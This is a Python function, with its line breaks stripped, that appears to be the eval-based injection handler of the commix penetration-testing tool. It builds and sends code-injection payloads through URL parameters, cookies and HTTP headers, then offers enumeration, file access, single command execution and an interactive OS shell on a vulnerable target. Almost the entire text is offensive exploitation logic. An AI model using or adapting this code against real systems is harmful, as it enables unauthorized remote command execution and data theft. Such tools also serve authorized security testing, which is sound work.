def eb_injection_handler(url, timesec, filename, http_request_method): shell = False counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" for item in range(0, len(settings.EXECUTION_FUNCTIONS)): settings.EXECUTION_FUNCTIONS[ item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "(" settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: info_msg = "Testing the " + "(" + injection_type.split( " ")[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print("") i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len( settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: if whitespace == " ": whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique, injection_type): try: settings.EVAL_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = eb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = eb_payloads.decision( separator, TAG, randv1, randv2) suffix = _urllib.parse.quote(suffix) # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Fixation for specific payload. if ")%3B" + _urllib.parse.quote(")}") in payload: payload = payload.replace( ")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}")) #payload = payload + TAG + "" # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: payload = payload.replace(" ", "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print(settings.print_payload(payload)) elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = eb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = eb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = eb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = eb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = eb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: found_cookie_injection = False # Check if target host is vulnerable. response, vuln_parameter = eb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. shell = eb_injector.injection_test_results( response, TAG, randvcalc) time.sleep(timesec) if settings.VERBOSITY_LEVEL == 0: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + " (" + str( float_percent) + "%)" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if str(float_percent) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent) + "%)" elif len(shell) != 0: percent = settings.info_msg else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = " Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print("") else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "Y" if enumerate_again in settings.CHOICE_YES: eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # print("") break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enumerate_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.enumeration_options(): eb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print("") # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print("") while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " file_access_again = _input( settings.print_question_msg( question_msg)) else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "Y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + file_access_again + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print("") eb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print("") # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print("") eb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input( settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell = "n" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print("") print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # The main command injection exploitation. time.sleep(timesec) response = eb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell != "": shell = "".join( str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL >= 1: print("") err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass raise SystemExit() if no_result == True: if settings.VERBOSITY_LEVEL == 0: print("") return False else: sys.stdout.write("\r") sys.stdout.flush()